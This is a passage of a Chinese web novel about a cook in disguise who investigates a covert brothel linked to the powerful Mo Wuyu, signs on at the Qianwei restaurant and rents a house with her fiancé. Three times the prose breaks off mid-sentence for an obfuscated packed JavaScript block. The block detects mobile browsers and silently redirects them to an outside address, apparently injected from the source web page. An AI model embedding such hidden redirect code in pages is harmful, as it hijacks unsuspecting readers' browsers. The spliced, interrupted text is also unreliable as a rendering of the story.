“你也知道自个儿不配看哪？”他的口吻瞬间就变得刻薄了，简直和换了一个人一般，“这是你能来的地儿吗，囊货？兜里一文钱都掏不来，还什么‘不是客人’，‘是厨子’……要走就快走，等着人拿棍子抽你去啊？” 乌婕本来都已经抬起脚了，听他这么一激，心头莫名生出一股火气来。 尤其是她方才亲眼见过、听过他对那个“莫大人”殷勤备至，跟伙计讲“不要强行拉客”，现在只剩下她们二人在一处，他怎么就忽然变了脸？ ——哦，他是在换着法子揽客。 乌婕能想得明白，所以这股火气来得快，去得也快。 但是“乌唐”未必能。 于是她面上浮出震惊又恼怒的神色，直接开口呛回去：“你骂俺作甚？俺一没骂你，二没打你，你就想拿棍子抽俺！你这里不但是个黑心暗馆子，你也是个坏根苗，你家店就活该、活该留不住客人，早晚倒闭喝西北风去！” 红衣裳见她跟着恼了，略略拢了腿，又把袖子往胸前拢，做出心生忌惮的弱势模样，一面高声讲些话来转圜：“你这不是正骂我吗？客人要走，我还能拦她？你说自个儿不是客人，有本事，你就别走啊！” 乌婕再次感受到了扮傻子的艰辛： 真有人打算用这种程度的激将法来骗我的钱！ 只是这份苦已经吃了，总得有些收获才是。 她接着对红衣裳说：“谁听你的！俺这会儿就走去，出去就骂你这店对人没个好脸，乱骂乱赶人。俺还要找方才那个谁，让她把你们的摊子掀了，也叫你吃个教训！” 接着，乌婕便气冲冲地往外走，而红衣裳早看出“乌唐”是个实心人，提前一步从凳子上起来，往她背后一扑，一抓，一抱。 乌婕敏捷地回身躲了，红衣裳便从她身侧歪倒，“哎呦”一声，张着双臂往地上倒。 嗯？ 这路数看着好生奇怪，莫不是想讹人吧？ 乌婕怀着犹疑，抬手一捞，扯住他的肩头，而后拿出自己每晚跟着齐元扎马步熬筋骨的苦劲，一个用力。 将即将落在地上的红衣裳，整个拔起！ 红衣裳人都呆了。 他也算是久经风月的人物，别的不说，一双眼睛在某些方面是极利的。 乌婕进来后，他站在二楼往下瞧，看她的步态，看她的身量，看她的气质。 他知道她是个外来的年青女子，态度上又是对青馆避之不及的，但仍然觉得能从她兜里挖出钱来。 毕竟她虽然神色瞧着憨，衣着也不算华贵，但打扮整洁，气势十足，绝对是个经过事有阅历的，完全不似寻常外地人的唯唯诺诺，手中必有家底！ 像这种头回进来吃的愣头青，若是真得了趣，不愁她不上头上心，大手撒钱。 等人到了近前，借着明光一看，红衣裳马上摸清乌婕的身形：哦，原来在上头看她壮得那样狠，竟是这上衣衬出来的。 她本人其实是高挑匀称的身量，细看五官也周正，不似如何粗劣的人物，既然如此…… 红衣裳的心思都有点飘了，这才选了种有些出格的方法去逗引她，心想就算这黑娘不上道，结结实实挨她一记蛮力又如何？ 门外的伙计和他自有默契，必会在合适的时候，及时带人冲回来的。 可是，怎会如此？ 她是怎么做到，只伸一只手臂，就把他快要跌躺在地上的身体，平地拔起来的？ 这力气也忒大了！ 有这种程度的武力，三个伙计齐上，都未必能摁得住她。 而且现在还不是晚上，吉荣轩没到最热闹的时候，好多熟客都没来；且不是什么办大席的日子，自然不会准备太多控场的打手。 他就不该见猎心喜，亲自招揽这个拿不住的散客的。 红衣裳立刻收敛心思，摸着被乌婕抓痛的肩头也不敢喊疼了，只缩着上身“哎呦喂”地小声呻吟。 不跟你计较了，瘟神，快走吧你！ 乌婕盯着他，完完整整地看完了红衣裳脸上神情的变化，若有所思。 她敏锐地察觉到现在是个打探情报的好机会，开始上话术：“你现在知道怕了？俺娘俺爹都说，外头人是最欺生怕硬的，不知悔改。你这看着是酒楼，其实是开着个暗馆子，骗人欺客……俺这就报官去，叫官娘子来拿你！” 若是说这话的是个本地人，红衣裳能听笑过去。 但是对着这个奇莽无比的黑脸，他却不敢擅自揣度她的性情与行事，只能拦阻。 “娘子，我悔改了，我真悔改了！真真是怕了你了！”红衣裳对她哀声叫道，“你且饶了我吧，不知道我们湖仁城里是准开青馆的么？我家不过是开在闹市里，东家想叫它低调些，这才在外头打了个招牌，灯笼都没挂一个。我们也没说这儿就是酒楼，更没骗你！何况，县令奶奶都是我家的客人，你去官府报官儿又有什么用？不过两头往官娘子手里送银子，你和我都白白把钱扔在水里头。大家挣钱都不容易，你走吧，你且走吧！” 乌婕向后一退，惊道：“你家竟连县令的生意都能做？莫不是在唬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371172|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我罢？” 她的语气中额外增添了两分敬畏，红衣裳自然忙不迭地往上加码：“上至达官贵人，下至平头百姓，谁的生意我们不做？县令奶奶肯赏脸，我们心里头也是荣幸得很哪。还有那杨大商人、姚大才子、祝大会长……” 乌婕马上说：“还有那个刚走的，俺听你喊莫大人的那个，她是，她是！” “莫大人身份更是不得了，我们家能做起来，有一半儿都靠着莫大人的势呢。” 红衣裳随手比了个手势，往天上摇摇，又往地下摆摆，意味深长的。 “娘子，你是初来乍到的不知道，我方才也不过是跟你开玩笑呢。不管你愿不愿做客人，我家这摊子都支在这儿，支了好些年了。我是个小人物，你何必和那些大人们碰？速速走了吧，我只当没见过你就是！” 其实这番话里头至少有七八成的水分，但红衣裳讲起来面不红心不跳。 他如此作态，果然吓着了那黑脸的外地人，叫她一面嘟囔着重复“和那大人们碰”，一面乖顺地退出去了。 绕出门墙，再进街巷。 乌婕眼前一亮，竟似换了一番天地。 她走到街头的时候，忍不住又回身看了一眼那家吉荣轩，只见那招牌还立着，伙计也立着。 …… 原四卿带着齐元走了好几家街巷的食肆，细心打探了一番湖仁的主要菜色，确认幽岍菜在当地是既不违口味、又极新鲜的，忍不住为乌婕感到高兴。 因为时间还充裕，他和齐元商量了一下，特意拐了一回房舍行，听中间人介绍了一番价位合适的短租房屋，“关心”地问了问不同街道地段的治安状况，尤其是松水街的。 等到他带着零碎的情报归返客栈，乌婕也回来了，静静地坐在桌边，似乎在沉思。 “乌姊！” 原四卿的唤声惊醒了乌婕，而她沉默片刻，开口道：“四卿，我要同你讲一件事情。” 原四卿听出她的语气不对，心下一紧。 而乌婕继续道：“我要先同你道一声歉……” 原四卿伸手虚拦她的嘴唇：“乌姊不必向我道歉，难道乌姊会做对不起我之事？” 乌婕垂眼，望着落在自己面前的手指，抬手轻轻握着了它。 她抬眼望了望原四卿，而后者面上微微一红，默许了。 于是乌婕倾身向前，轻吻了一下他的指腹。 她原先因为见到、想到莫吴语而分外急躁的心，也在这一瞬间，稳稳地安定了下来。 “四卿，我同你说……” 原四卿听完乌婕老老实实报备的她在吉荣轩的经历，忍不住抱了一下她的肩膀。 “乌姊遇见了这样危险的事，我担心都来不及，有什么可对我道歉的！那个莫吴语是个骄奢淫逸之徒，沉迷财色，前途必不能远大；心狠手辣，未来定不能善终。乌姊且看她遭报应吧！” 遭报应啊…… 乌婕回抱了一下原四卿，正好看见齐元礼貌地移目回避，不由失笑。 会的，当然会的。 因果轮回，报应不爽。 25. 厨者相交 千味轩。 杨停照常在后厨忙碌。 作为千味轩的当家大厨，她其实并不需要和其他厨子一样，日日按时上工，随着客人的点单连轴转地做菜。 按照湖仁其他高端酒楼的惯常做法，当家大厨往往遵循一种“放签制”。 所谓放签，即酒楼提前向客人申明此厨独有的拿手菜式，每日或隔日放出一定份额的木签，作为点菜的凭证。 若有客人想品尝这位大厨的手艺，必须提前约好，持签前来，这才能吃到对方的拿手菜。 放签抢签，数额有限，过程里难免生出纷争。 但因为湖仁县内有佳膳会的存在，这条制度的运转勉强还处于正常范围之内。 有些酒楼，甚至故意以“放签”作为揽客的手段。 她们要求自家的大厨刻意做高姿态，仅仅在名下堆两三道工序繁复、不能轻易复刻的名菜，只求难做，不看口味。 至于这类菜肴的签子，就专门售卖给那些自恃身份的权贵，用“难得的脸面”来绑实豪客，以此抬酒楼的名声。 杨停名下的“签菜”，则足足有八道。 千味轩每个月只固定往外放个二三十签，从不多加，堪称是一签难求。 不过，千味轩的老客都知道，倘若不是非得吃那八道名菜，只奔着杨停这个名厨来的话，那也不必一心盯着不好抢的签子。 只因杨停本人时不时会来到千味轩后厨，和其他厨子一并在灶上忙碌。 这时候，客人只需要坐在外头随意点菜，点着点着，不知哪一道就会被杨停接下、做好，端到桌上来了。 尽管这些菜式绝不如那八道名菜一般稀罕，哪个厨子都能做得。 可是，真正的名厨和一般的厨子水平不同，即使是同一道菜，她们做出来的味道又岂能一样？ 杨停是这样的作风，那些名声仅在她之下的、水平又比普通厨子好些的千味轩名厨们，自然不敢生出骄气，反而常常学着她行事。 如此一来，哪怕千味轩的名厨不多，规模不大，生意中上，日积月累之下，最终也养出了一批极为忠诚的老客，每日多少要来千味轩点上一两道菜，尝尝滋味。 既是填自个儿的肚子，也是想碰碰名厨的运气。 为了避免打扰酒楼待客，乌婕携着原四卿同齐元，特意错开了饭点上门。 即便如此，千味轩内仍然开着好几张桌子，有那相熟的客人隔桌闲谈，茶水不歇。 黑脸厨子等人的到来，只惊动了柜台旁静立的掌柜，后者腰肢一挺，笑着迎了上来。 “客人们好，本店今日有春香雉鸡、桃花羹、白雪碧棠糕，又有花厨、于厨、方厨在候。这会儿大堂有闲座，二楼有空厢，茶水热凉都有，敢问您几位愿往哪处移步？” 乌婕答道：“俺来寻杨停杨厨子，早讲好了的。” 她粗着嗓子讲话，又直接点名了自家大厨，掌柜脸上却没露出一点异色，而是接话道：“原是如此，客人请随我上楼小坐，杨停大厨稍后便来。” 乌婕身侧，戴着帷帽的原四卿朝她所在的方向转了转脑袋，心里觉得稀奇，嘴角也悄悄翘了起来。 齐元走在最后，微微低下了脑袋，旁人轻易看不清她的表情，做得便更放肆一些。 乌婕仍然维持着“乌唐”的粗莽模样，权当自己没看见身后偷笑的人，随着那掌柜往楼上去了。 掌柜将三人带入一间临街的厢房，又退出去叫伙计上了热茶白水与瓜子，少顷，杨停杨大厨便到了。 杨停踏入厢房时，身上还披着一件灰色的罩衣，周身带着些燥热的烟柴气，目光却是沉静的。 “你来了。”她对乌婕说，然后很自然地走去开了那扇临街的窗。 乌婕和原四卿一齐从桌边站起，而齐元原本抱臂站在厢房内视野最好的那个角落，此时就没有动。 杨停开窗散了散气，回头扫了一眼乌婕三人，只说：“坐吧。”然后就率先入座。 乌婕先拉着原四卿坐下，然后替齐元赔罪道：“俺家大姊觉得站起来舒服些，她人也不爱说话，俺就让她先站那儿了。” 杨停甚至都没有回头打量齐元，只面对着乌婕说：“好。你是打算来我这儿了？” 乌婕响亮地“哎”了一声，高兴地说道：“俺听你的话，问了一圈子，数你给俺开的钱最多！俺这心里头特别感谢你，记着你的恩。以后一定给你家做马做牛，好好听你话，好好干活儿！” 杨停知道这是乌唐的赤诚之言，虽然听着有些不习惯，还是向她轻轻颔首。 忽而，她移开了视线，难得多问了一句旁人：“你身边这位……瞧着似乎身子不大好？” 乌婕伸出手臂，稳稳揽住了原四卿因为拼命憋笑而微微发颤的身体。 她有点忧心地回答了杨停的问题：“这就是俺的夫郎了。他打小身子就弱，老爱咳嗽。俺听人说，兴许东边儿的水土对他会好些，所以这回出来找活，也把他一起带过来了。” 杨停道：“湖仁城内有几家医馆，坐堂的大夫是有真本事的，药钱也不贵，我说了，你先记着。” 乌婕连忙专心倾听，因为“乌唐”不大会写字，还轻轻推了推原四卿，叫他也跟着记下。 原四卿知道自己的身体是虚不是病，与其吃药，反而不如食补来得效果好些。 但乌姊是挂念他的身体，要他上心，于是他也温顺地接受了。 乌婕感激地说：“俺家那边大夫少，也不敢叫他乱吃药。之后等到俺们在城里落下脚了，俺马上就带着他去看看。” 杨停原先就许诺要给“乌唐”牵线寻个租处，这时候自然不会吝啬：“与我相熟的一位房舍间人，手头正好有几处不错的房源，地方虽然不大，但地段不错，你以后往来上工，送你夫人看病吃药，都很便宜。” 这次就是乌婕和原四卿一同谢杨停，而杨停则询问道：“既然你是真有意过来，那我们这会儿先定契？千味轩是先立三月的‘试用契’，薪资月付，不可预支；等到试用期满，你再同我签‘时日契’，愿做多少，就得钱多少，不会限制了你的自由。” 乌婕已听过李掌柜介绍“时日契”与“当工契”的区别，颇感惊奇地追问：“你怎么不要俺签‘当工契’呢？俺听人说，这样的契才是被特意留人，得的钱也更多。” 杨停只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371173|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单回复道：“千味轩的‘当工契’，只能和做了五年以上的老厨子签，这是规矩。” 乌婕默默记下此节，留待日后推敲其中好处，再考虑要不要将它运用在风云楼的经营上。 这会儿她只需要露出恍然的神色来，应声说：“俺明白了，都听你的来！” 杨停就起身去叫掌柜的拿纸笔与契纸，齐元跨出两步，提前替她开了厢房门。 “多谢。”杨停冲她点了点头，错身下楼。 厢房内短暂地剩下了“乌唐”一家，三人互相望着，面色都很平静。 乌婕问：“大姊觉得如何？” 齐元抬手摸了摸自己的耳朵，突兀地笑了一下，难得促狭： “俺觉得，这是个做牛做马的好机会。” 乌婕呛了一口口水，只能庆幸自己方才没有喝茶。 原四卿忍笑已忍出了经验，这会儿看起来倒还算平静。 千味轩到底不是自家的地盘，三人并没有过多地交流。 过了一阵，杨停带了千味轩惯用的契书回来，细细修改了几处条款，重新写好一版，体贴地询问乌婕：“字有些多，可要念给你听？” 乌婕笑着说：“俺家夫郎和大姊都会文字的，叫她们看就行了。” 齐元走过来站在原四卿身后，一起细细地看了两回，点了头。 杨停又问：“你自己写名字，有没有什么妨碍？” 湖仁城里外来的厨子多，来自偏僻小地方的也不是没有，哪怕识字不多，交流起来大多是无碍的。 毕竟大家本职都是做菜的嘛，有的人她连自己的名字都不会写，记食材、记菜名、写食材名，那是第一等的流利！ 乌婕老实道：“俺会写一个‘乌’字。” 杨停点点头，又给她推来一盒红泥。 乌婕拿起笔往上签，杨停坐在一旁，提醒道：“这封契书要拿回到佳膳会盖印入档，你要与我同去。这件事要首先办，然后再带你们一家去寻房子。” 乌婕忙说：“俺心里记着你的大恩……” 原四卿都怀疑乌姊是有意这样讲话的了，可是杨停听了，还是静静地点头，好像根本不觉得她的用词有多么夸张。 ……如果不是杨停忽然站起了身，转脸朝窗边望去，莫名地看起风景的话。 看着看着，杨停神情一顿，对下面道：“今日怎么提前过来了？” 乌婕几人不由跟着往下看去，发现杨停是在和一个从长街那头过来的人讲话。 后者腋下夹着一件与杨停之前所穿相仿的灰色罩衣，应该是一个来千味轩上工的新厨子，签着“时日契”的那种，否则杨停不会说出“今日提前过来”。 那厨子仰头看向二楼，高声回了杨停的话：“今日与以后都没有事了，可以提前过来！” 杨停冲她点了点头，让那厨子进门到后厨去。 乌婕问：“那也是咱们这里的厨子吗？” 杨停随口答道：“是，她是李厨，本地人，比你先来几个月。” 杨停复又想了想，补充一句，“你们二人都是新厨，日后可以多交往，多请教，互相切磋一二，也不妨事。” 26. 仔细斟酌 杨停做事一向干脆利落。 归契入档、找人租房，所有流程都由杨停一手包办，顺顺当当地走完全部手续，也才过了半日，天色将将擦黑。 因为“乌唐”带了不止一位家眷，杨停圈定了合适的地段后，特意问房舍间人要了一处带院坝的二层单楼房。 楼房上下，各有卧室，正可以让做大姊的与小妻夫分开来居住。 厨房的后门则直接连通小后院，无形之中增扩了面积，方便厨子行炊；但厨房本身又不是多么宽阔的占地，因而不必为此多花租费。 对于一名外地来的厨子而言，这样的好房实在难找，杨停的用心则更难得。 乌婕对杨停谢了又谢，甚至主动请求今晚便到千味轩后厨去，哪怕不能立刻上工，从旁观摩一番，提前适应氛围，也是好的。 杨停做厨子的时候比替姐姐做东家的时候更多，远远没有养出压榨人的性情，此时就只摇头拒绝：“千味轩没有忙碌到这种地步。何况你又是初来乍到，诸事繁忙，先和你的家人安顿好——暂且就以三日为期吧。到时候再来我这儿，要做什么都有章程，你不必怕。” 乌婕自认摸清了杨停的五六分性子，本也不打算强求，而杨停抬眼望了望天色，主动告辞。 乌婕将她远远送出一条街，这才折返回来。 齐元和原四卿留在房内，商讨了一阵房间分配的事宜，最终决定是让原四卿单独睡到楼上的卧房去，而他隔壁的夹房则用于堆放行李杂物。 齐元则和乌婕一同睡在楼下，离院子和厨房都近，早晚起身练刀、下厨都方便，且二人作息相近，不会互相干扰。 乌婕对此没什么意见，只是关心地问了一句原四卿：“我和齐师都在楼下，四卿只有一人在楼上，可会觉得不安？若是……” 原四卿急忙道：“乌姊放心，我不怕的。而且我也不是孩子了，不用人陪着睡。” 乌婕顿了一顿，看着他急切到有些发红的面色，将到嘴边的“我可以睡到隔壁陪你”咽下，改为夸赞：“四卿是我见过性情最坚强的男子。” 这话并不过分，反而十分真心： 毕竟乌婕见过的男子本就不多，相熟的更少。 原四卿不仅是其中性情最坚强的，还能是生得最标致的、心思最细腻的、身家最丰足的……等等。 幸好原四卿不知道这句话背后的隐情。 他单纯地、大大地感动了一回：原来他在乌婕心中，竟是如此独特的男子！ “乌姊……” 齐元旁听了一会儿未婚小妻夫温情脉脉的交流，觉得自己的责任不该停留在此处，遂转身扛起行李，先往楼上去安置。 …… 翌日。 乌婕先携原四卿去了一趟杨停推荐的医馆，得了几张养身方后，才带着他再访松水街。 她来松水街完全是为了蹲守莫吴语，行动多少有些风险。 起初乌婕也考虑过，此行是不是不该带原四卿同来，若是出了意外，反而会将他拖入危险之中。 但原四卿知道了她的顾虑，主动表示愿意跟随她行动。 “既然乌姊想过要不要带我同去，说明我去了，对乌姊总是有好处的吧？” 乌婕想了想，肯定了他的问询。 “乌唐”的形象是标准的外来人，有好也有坏。 好处是能隐藏身份，尤其是可以撇去她和风云楼的关系，至于坏处么…… 即使乌婕在行事时有意保持低调，也无法避免湖仁本地人对她投以关注。 无事发生时还好，一般人关注过“乌唐”后，看她行为无异，转头也就忘了；但倘若有什么意外出现，一个路过的外地人很快就会被重新想起，仔细审视她行动中的疑点。 “乌唐”出了佳膳会，直奔松水街，这样的行为可以用杨停的吩咐来解释：她是来找活计、问工钱的，要“货比三家”嘛。 可是等她和千味轩签了工契，第二天又来松水街，是想做什么呢？ 而且乌婕之后必然还会经常过来，也不可能每次都能很好地隐匿行踪。 她需要一个行动的理由。 带上原四卿后，事情就变得很自然了。 “之前俺来这位姐姐的摊子，就觉得她家糖水闻着香，想着一定要带你来尝尝。” 乌婕指着先前告知过她吉荣轩情况的小贩，同身侧的原四卿介绍。 “大姐，来四筒糖水，不要太浓的，给一个勺就行。” 小贩果然还记得乌婕的面容，一边笑着应声，一边麻利地向竹筒里灌糖水：“哎，好，好！妹子你千万放心，我家糖水跟别家的可不一样，不是齁甜齁甜的那种，淡一点儿喝着正好！这位夫人跟妹子你瞧着实在登对，怪不得你先前……” 她朝乌婕挤了挤眼，略略往吉荣轩的方向侧目。 ——这是在调侃乌婕被那伙计呆头呆脑地引进去，仓皇失措逃出来的糗事。 原四卿敏锐地问道：“先前怎么了？” 小贩忙道：“没什么，我是说先前这妹子来我摊上，她就看看，也不买！嗨，我心里还想着是不是瞧不上我家糖水，没成想妹子心里，原来是想着夫人您哪。” 她是在找补着恭维，原四卿看起来却不是好糊弄的。 自帽檐垂下的帷纱朝小贩先前指去的方向，轻轻一扬，“糖水是糖水，你方才指着那边做什么？那儿是什么地方，她也去‘看看’了？” 乌婕站在原四卿身侧，悄悄朝小贩比了一个哀求的手势，身形微微佝偻。 小贩眼光极利，且她自己也是有家室的人，对于眼前二人的状态自然熟悉。 夫人不依不饶，家君垂头丧气……哎呦妹子，你这是事发了啊！ 但关键是，你又没真做什么坏事，咋就没跟夫人解释明白呢？ 小贩手上稳稳地倒着糖水，心中充满看好戏的愉悦，嘴上则道：“夫人您说什么？那是我们城里有名的吉荣轩啊，大户人家常去里头包流水席的，连县令大人都是那儿的常客！” 她递出竹筒，脸上还是笑嘻嘻的：“夫人您小心，妹子你拿好。那吉荣轩的东西可不比我这里的，是物美又价廉；她们那儿啊，干什么都死贵。夫人您要想去那里见识见识，就多催妹子上进、多挣钱，才好带您去享受享 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371174|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受不是？” 小贩讲得油嘴滑舌，原四卿也不说信与不信，转头就伸手敲了敲乌婕的肩膀，使唤她去接糖水：“哼，听见没有？那就不是你我该去的地方，少看少想着！以后要是我发现了……” 乌婕则低声道：“俺本来就没想去过。” 她一边接了糖水，一边又问小贩：“俺们先在大姐你这儿坐一坐，成不？” 糖水摊子后边，正低调地支着一张小桌。 只是因为这里地段特殊，摊位紧俏，那桌子其实是小贩同隔壁摊子共用的，摆放要更偏向隔壁一些。 这桌子从来不是给路过的客人留的，只是做生意的人也得吃饭歇脚，于是才在摊后支了一张。 隔壁小贩也在一旁听着呢，此时正好跟糖水小贩对了个眼光，两个人默默露出了心领神会的笑容。 糖水小贩爽快回道：“妹子你们尽管坐，随便坐！” 无论是乌婕还是“乌唐”都不是真憨，她先小心扶了原四卿过去坐下，又亲自凑到隔壁摊上，买了些咸饼与条糕，顿时让隔壁小贩的笑容也更真心实意了些。 她悄悄对乌婕说：“这种事儿啊，就算你没做，也先得觉得自己有错。他跟你闹也不是生你的气，是想你好好哄一哄，千万别犟。” 乌婕意外收获一条暂时用不上的经验，低声跟她道了谢，兜起糕饼坐去了原四卿对面，两人窃窃地私语起来。 两个小贩不好明着探听人家小妻夫的热闹，且她们自己也有临街的生意要做，很快就转移了注意力，忙得再顾不上乌婕她们了。 原四卿轻轻扯着乌婕的袖子，隔着满街热闹的叫卖与还价声，在她耳边道：“乌姊，之后我还要跟你来吗？” 乌婕说：“之后就用不着了，只是劳烦夫人借我个名头，能让我日日来这里，‘替’你买糖水回去。” 原四卿回道：“当然能借你。” 他犹豫了一瞬，加了个声音更低的：“……家君。” 乌婕淡定地“嗯”了一声，转而跟他梳理起先前的收获：“我想莫吴语不是吉荣轩的老板，就是个熟客，最可能是两者皆有。这地方几乎就开在她家门口，蹲它比蹲莫家还自然许多。而且里面鱼龙混杂，若是要浑水摸鱼，想来也容易。” 比如，故伎重施，趁夜偷袭，强行逼问。 但乌婕也只能是想想而已。 根据情报，莫吴语的出身、地位与阅历，都远胜于王彩瑚，警惕性更高，接近起来想必也更加困难。 且她劣迹斑斑，喜怒无常，心性凶恶残忍，绝不是好唬弄的人。 即使以上皆是道听途说，乌婕先前亲自去过吉荣轩，在里面和“莫大人”有过一面之缘。 两相对照之下，她倒觉得传闻所言不虚。 如果“莫大人”当真是莫吴语的话，应该从哪里寻找突破呢？ 原四卿默默听着，尝试为乌婕启发思路：“乌姊，我记得你之前说，有意混入莫吴语家中去打探消息。但莫吴语要真是如此性情，贸然接近她，就太过直接，也太冒险了，最好还是先迂回地打探。”比如，去接触那些真正去过莫家的本地厨子们。 27. 汤水难得 千味轩。 几名结伴而来的客人进入了二楼最大的包厢，刚一入座，便叫伙计上茶水。 为首的客人显然是个熟客，直接吩咐伙计道：“若你家今日熬的是什么麦子茶、红枣水，那就不必端上了，我们这几人只喝得进清汤饮子。器具呢，不要杯子，都给我换成拳头大的木碗，再去告诉你们掌柜的，将前些时候我寄在这里的干荷叶拿去给方厨料理一番，做成‘碧荷碗’一并端来，我好待客。” 伙计听得认真，应得响亮，客人考问了她两句，见她报得也清晰，这才肯放了人去。 伙计一走，包厢内剩下的几个客人便一齐冲熟客取笑道：“我们今日过来，是想打你一个猝不及防，难为你绞尽脑汁地想花样！” “清汤饮，碧荷碗，听听这，好个清凉。” “我只怕她先前是想独享，只是如今我们来了，逼着她不得不大方，倒是我们的不是了！” 熟客咳了两声，故作淡然：“这就叫做——有备无患！” 其中一名身量最小、年纪最轻的白衣客人，十分好奇地问：“从来都知道明姊最爱吃、最会吃，不知这碧荷碗是什么花样？” 熟客卖了个关子：“不是什么花样，讨个巧而已！等到端上来了，你自然也就知道了。” 旁的客人摸了摸袖子，做个苦笑：“风雅也好，清凉也好。只是大明，我的嘴巴干着，这可是大大的不好啊。” 熟客说：“马上就来，难道我会苛待你不成！” 她说的果然不错。 先前的伙计很快就捧着一盘木碗回来，碗的个数刚好与客人的个数一样。 每一只木碗上面，都好好地“栽”着一片碧黄的干荷，内里连茎，边缘高翘。 荷叶的中央则静静盛着一汪清澈无比的汤水，随着那伙计的走动，微漾波澜，略泛芳香。 白衣客人探头一看，笑道：“原来在木碗上面放一片荷叶，就是‘碧荷碗’啦？” 熟客不语，只是亲自取了汤碗，挨个奉给友人们。 之前出言“求水”的那位客人倒是真的渴了，此时见到水来，单手就把“碧荷碗”捋了起来，送至嘴边。 她心里急切，用的力道也大，那荷叶却牢牢地伏在碗上，一动也不动。 客人并没察觉这点细节，只觉得指腹摸着碗壁不烫，放下心来，仰头将荷叶中的汤水一饮而尽。 熟客见她那喝法，顿时露出了心疼的神色：“我就不该请你这头牛来！” 客人拿汤水润了润嘴巴，只觉得神清气爽，连被骂成牛也不介意，“这叫牛汲荷叶水，唔，三分野趣，七分清甜！” 两个人斗法的时候，白衣客人已缓缓汲了一口汤水，目露惊艳，不由插话道：“白姊，明姊骂你是不冤枉。这汤水可不是寻常的清汤，你再仔细品品看呢？” 另外两名客人是陪客，与熟客和“牛客”都不够熟悉，不好喧宾夺主地讲话，就坐在那里慢慢地品汤，此时便颇为认同地颔首。 “牛客”一看众人皆如此，方才发觉有些不对之处。 她舌尖微动，强行在口中掠取了那点残留的香气，细细一品，一下也惊住了：“这味道……” 熟客冷笑着坐回原处，阴阳怪气道：“青玉苏黄汤，有三分野趣；双面白竺荷，是七分清甜——” “牛客”是识货之人，后悔不迭：“这等好汤水，不说提前漱口晒舌头，就是饿它个三日再品，那也值得。你怎么不早说的！” 熟客哼笑着不肯搭理她，但后者视线一转，忽而盯上了熟客面前没动的那碗汤，双目一亮。 “你想做什么？”熟客警惕地伸手一护。 这一下反而提醒了对方，“牛客”瞄准方向，奋力一扑，目标直指她怀中的“碧荷碗”！ 熟客不肯让了自己的口福，一面躲避，一面反过来去推打她。 “我这是让方厨替我专心酝酿了半个月的好汤水，一滴都足珍贵，往后再难有了。你牛饮自己那碗便算了，怎敢来抢我这第二碗？！” “牛客”一听，当即争得更厉害了。 白衣客人惊笑着上前拉架，两名陪客也赶紧起身帮手。 熟客和“牛客”却都是最执着的老饕，一个不顾东道主的体面，一个也不管什么经年的友谊，从桌子这头，一直追去桌子那头。 最后还是听到动静的掌柜连那伙计一起上来，好说歹说地将几人劝下。 “明老板是咱们千味轩的贵客，白老板又是明老板您的贵客，您两位何等尊贵，切莫伤了和气！虽然这青玉苏黄汤是难做了，但咱们最近又有新汤水挂牌，足足的新鲜，幽岍菜，管保您们都没尝过，不如这就让人给您做了来，姑且尝尝鲜？” “牛客”在争斗中已然敏捷地抢走了小半碗，此时捧着自己的战利品，心情甚好。 作为东道主的熟客被掌柜劝了又劝，对着“牛客”横眉瞪眼，直喊要和她割袍，然后被旁观的白衣客人一语戳破。 “两位姊姊，你们平日里这样闹来闹去，也就算了。今日好歹不止咱们呢，别吓着了旁人，给你们当真了，到时候生出误会来，怎么收拾啊？” 陪客们连说“不会”，白衣客人则转头对掌柜说：“幽岍的汤？西菜？我确实是没喝过，那你就让人做了来吧，做多一些。明姊把好汤当成前茶上，也不能怪白姊把好汤当成前茶喝呀。总之，你俩都不许闹了，大不了，这席客我来请就是！” 熟客道：“早说了是我请你们，没有叫你承东道的理。你莫着急，我们再不闹了。” “牛客”讪讪地放下了碗，跟着帮腔：“不会了，真不会了！” 几人再次坐定，熟客主动问掌柜，提前预定下的诸菜都做好了没有。 掌柜则按序依次回报，言道它们各个都在灶上，很快便要一道接一道地来了。 熟客照例多问一句：“杨厨今日在否？” 掌柜笑着摇头，熟客便难掩失望，对“牛客”和白衣客人说：“可惜我这个月也没有预留签子，你们没有口福。” 白衣客人伸手遥遥点她：“明姊啊，你与白姊都安稳持重些，我这才算是有福！” 她人是在场最小的，说话口气却最大，但是分毫不显突兀，众人都唯唯应诺。 白衣客人终于满意了些。 掌柜趁着气氛较好，在旁问了一句新汤的次序，预备将多增的菜肴彻底敲定下来。 熟客知道这是千味轩替新厨打开名声的惯用手段，拒绝与不拒绝，全看客人的心意。 但一般能被如此推荐的汤，都是经过杨停亲自点头的 